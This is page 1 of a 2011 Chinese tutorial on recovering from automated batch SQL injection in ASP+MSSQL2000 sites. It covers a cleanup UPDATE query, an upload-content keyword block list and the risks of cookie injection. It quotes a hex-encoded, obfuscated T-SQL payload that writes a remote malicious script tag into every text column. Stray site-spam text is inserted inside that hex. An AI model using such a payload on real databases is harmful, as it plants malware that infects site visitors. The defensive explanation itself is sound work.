网络编程
位置:首页>> 网络编程>> Asp编程>> ASP+MSSQL2000 数据库被批量注入后的解决方法第1/2页

ASP+MSSQL2000 数据库被批量注入后的解决方法第1/2页

 来源:asp之家 发布时间:2011-04-06 10:50:00 

标签:ASP,MSSQL2000,数据库,批量注入

mssql的每个varchar、text字段都被自动插入一段js代码,即使删除这段代码,如果没有从源头上解决,几分钟后,js代码就又会自动插入数据库。
经过飘易的观察,这很有可能是程序自动执行的,黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站,然后采用小明子这样的注入扫描工具,扫描整个网站,一旦发现有sql注入的漏洞或者上传漏洞,黑客就通过各种手段,上传自己的大马,如海阳木马;然后,黑客就把这个网站纳入他的肉鸡列表,随时在数据库里加入自己希望加的js代码,而这些代码往往是包含着众多的的病毒、木马,最终让访问受控网站的用户的电脑中毒。
虽然,可以通过sql查询分析器执行批量代换,暂时解决 * 入的js代码问题,然而不从根本上解决整个网站存在的漏洞,包括程序上和服务器安全权限,那么黑客还是随时可以入侵你的网站数据库。
在sql查询分析器里可以执行以下的代码批量替换js代码:

代码如下:


“ update 表名 set 字段名=replace(字段名,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','') ”


flymorn仔细检查了网站,发现网站存在几个安全问题:
第一,网站存在上传漏洞;虽然,上传文件需要管理员身份验证,也对上传文件进行了文件格式的认证,但管理员身份验证采用了cookies,而cookies是可以被伪造的,而且如果上传了图片后,不对该文件的内容采取任何判断的话,那么图片木马也很有可能被上传。
解决措施:1 删除上传文件功能(不太实际);2 修改上传用户验证为session验证;3 对上传后的文件内容进行验证,如果是图片木马,则删除;可以参考以下的验证代码:

代码如下:


''===============判断上传文件是否含非法字符串start================ 
set MyFile = server.CreateObject("Scripting.FileSystemObject") 
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '读取文本文件 
sTextAll = lcase(MyText.ReadAll) 
MyText.close 
set MyFile = nothing 
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|language=" 
sNoString = split(sStr,"|") 
for i=0 to ubound(sNoString) 
if instr(sTextAll,sNoString(i)) then 
set filedel = server.CreateObject("Scripting.FileSystemObject") 
filedel.deletefile Server.mappath(filePath) 
set filedel = nothing 
Response.Write("<script>alert('您上传的文件有问题,上传失败!');history.back();</script>") 
Response.End 
end if 
next 
''=================判断上传文件是否含非法字符串end=================== 


第二,网站存在cookies注入漏洞。由于程序设计中,为了考虑到减小服务器的开销,所有用户登陆后采用cookies验证,这个cookies里保存了用户的 ID 和 NAME ,而众所周知,cookies是经常被黑客伪造的,这是其一;另外,某些外部参数 没有采用严格的 request.form 和 request.querystring 来获取内容,为了简便,采用了 request("id") 这样的方式。

我们知道,ASP 的request 是先从form、querystring里获取内容,如果这两个为空,则要从cookies里获取内容,大家往往在程序设计中考虑到了 request.form 和 request.querystring 的SQL注入,所以一般都会过滤 request.form 和 request.querystring进行sql注入;但却偏偏忘了过滤cookies方式下的注入。我们来看下下面这样的sql语句:

代码如下:


SQL="select * from 表名 where id="&request("id") 


如果这个 id 恰巧是通过cookies来获取值的,那么想想,这是一件多么可怕的事啊!注入者可以轻松的伪造一个名为 id 的虚假 cookies ,因为这个 id 的cookies 是服务器分配给它的。这个cookies可以被伪造成类似下面这样的一段代码:

代码如下:


dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6 
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT人才网(http://it.ad0.cn) 12e6e416d452c622e6e416d 
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694www.ad0.cn43d622e6 
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3 
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375 
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768 
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742 
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275 
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537 
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6 
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4 
3615465207441624c655f637572736f520d0a aS vArChAr(4000));exec(@s);-- 

0
投稿

猜你喜欢

  • 代码如下:url="http://www.cidianwang.com/" wstr=getHTTPPage(
  • 引子:今天在蓝点看了Yang的博客《CSS样式表中继承关系的空格与不空格》,思考了一下,本来想写《CSS样式的复合定义与复合调用及简单的模块
  • 自个儿闲的发疯画几个老鼠的表情,送女朋友。。HOHO。经常欺负人。哎。其实被欺负是一种幸福。工作以美国时间为主,所以白天睡到晚上。我不傻,真
  • 很简单的方法,但很实用。用过新浪邮箱的朋友应该会知道此脚本的效果。如果您提交的数据处理时间很长,用这个做为提示很不错的.将下面的代码复制到&
  • 工作中,网页设计师经常会遇见这些状况:时间这么短又要出彩、又是要大气要有气氛、风格不明确很难把握、栏目这么多页面又这么长……突然觉得束手无策
  • 上传问题可以说是网络编程中经常遇到的,也是一个很重要的问题,我们不仅要实现上传文件,图片等基本功能,还有考虑到上传程序的安全性,本文介绍了一
  • 页面大小、窗口大小和滚动条位置这三个数值在不同的浏览器例如Firefox和IE中有着不同的实现。即使在同一种浏览器例如IE中,不同版本也有不
  • 平时在PL/SQL中的编程中遇到一些问题,这里以问答的形式来进行把它们总结下来,以供大家分享。1、当需要向表中装载大量的数据流或者需要处理大
  • 简介:外部连接和自联接inner join(等值连接) 只返回两个表中联结字段相等的行left join(左联接) 返回包括左表中的所有记录
  • 看看上一篇《javascript设计模式交流(一)Singleton Pattern》本文将讨论Prototype Pattern的js实现
  • 1.彻底弄懂CSS盒子模式一(DIV布局快速入门) 2.彻底弄懂CSS盒子模式二(导航栏实例) 3.彻底弄懂CSS盒子模式三(浮动的表演和清
  • XML的嵌套处理 一般情况下,我们从数据库中查询得到的结果集可能很大,所以从服务器返回到客户端时,数据会被分成若干个页面分别进行传递。此时,
  • ASP中给函数传参确实是个麻烦事,当参数个数特别多的时候(比如有七八个或者更多的参数个数)差不多就要眼冒金星了,一个个的数吧。而且要命的是参
  • 负责Web编写的前端人员,都清楚可以通过W3验证服务功能,来在线验证自己编写的XHTML代码是否正确,在验证期间,最容易出现的错误往往都是在
  • 锁是指在某组资源中,两个或两个以上的线程在执行过程中,在争夺某一资源时而造成互相等待的现象,若无外力的作用下,它们都将无法推进下去,死时就可
  • 增强的toggleClass()1.toggleClass也可以和addClass一样,用空格分隔多个class名称了。.toggleCla
  • 在Google上搜一下,可以发现一大堆对ASP不好的评价,什么运行速度慢、异常处理机制不好、缺乏面向对象机制、开发效率低、漏洞多等等。为了让
  • 对于软件来说,每一个新版本的推出都应该是一种进步,不可否认,阿里旺旺2008版相较于之前的版本的确是有很多的进步,但进步的同时却也有着比之前
  • 中国,美国,英国3国时间js同步动态显示,对于做企业网站的朋友相信用的到,特别是做英文网站的朋友,加上这一段代码会给你的网站增色不少!本文j
  •  在我们设计网页的时候,总会遇到一些不愉快的事情,最常见的莫过于在后台添加内容后才发现显示的页面被撑开,导致网页极度不美观。以前大
手机版 网络编程 asp之家 www.aspxhome.com